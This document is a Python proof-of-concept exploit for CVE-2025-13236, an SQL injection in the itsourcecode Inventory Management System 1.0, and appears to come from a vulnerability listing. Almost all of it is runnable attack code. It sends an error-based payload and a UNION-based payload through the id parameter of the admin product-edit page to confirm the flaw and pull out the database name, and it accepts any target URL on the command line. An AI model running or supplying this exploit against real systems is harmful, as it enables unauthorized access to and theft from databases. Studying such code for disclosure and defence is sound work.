CVE-2025-13236 itsourcecode Inventory Management System SQL注入漏洞

import requests import sys # CVE-2025-13236 SQL Injection PoC # Target: itsourcecode Inventory Management System 1.0 # Vulnerability: SQL Injection in /admin/products/index.php?view=edit def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability by injecting malicious payload into ID parameter """ # Construct the vulnerable URL exploit_url = f"{target_url}/admin/products/index.php?view=edit&id={payload}" try: response = requests.get(exploit_url, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def test_basic_sqli(target_url): """ Test basic SQL injection with error-based extraction """ # SQL injection payload to extract database version payload = "1' AND (SELECT 7747 FROM(SELECT COUNT(*),CONCAT(0x71716b7171,(SELECT MID((IFNULL(CAST(database() AS CHAR),0x20)),1,50)),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -" print(f"[*] Testing SQL injection on: {target_url}") print(f"[*] Payload: {payload}") status, response = exploit_sqli(target_url, payload) if status: print(f"[+] Status Code: {status}") if "error" in response.lower() or "sql" in response.lower(): print("[+] Potential SQL injection detected!") return True return False def extract_db_info(target_url): """ Extract database information using UNION-based injection """ # UNION-based SQL injection payload payload = "1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71716b7171,database(),0x716b706b71)-- -" print(f"[*] Extracting database information...") status, response = exploit_sqli(target_url, payload) if status and response: print(f"[+] Database info extracted successfully") return response return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_13236.py <target_url>") print("Example: python cve_2025_13236.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Test for vulnerability if test_basic_sqli(target): print("[!] Target is vulnerable to CVE-2025-13236") extract_db_info(target) else: print("[-] Target may not be vulnerable or is not accessible")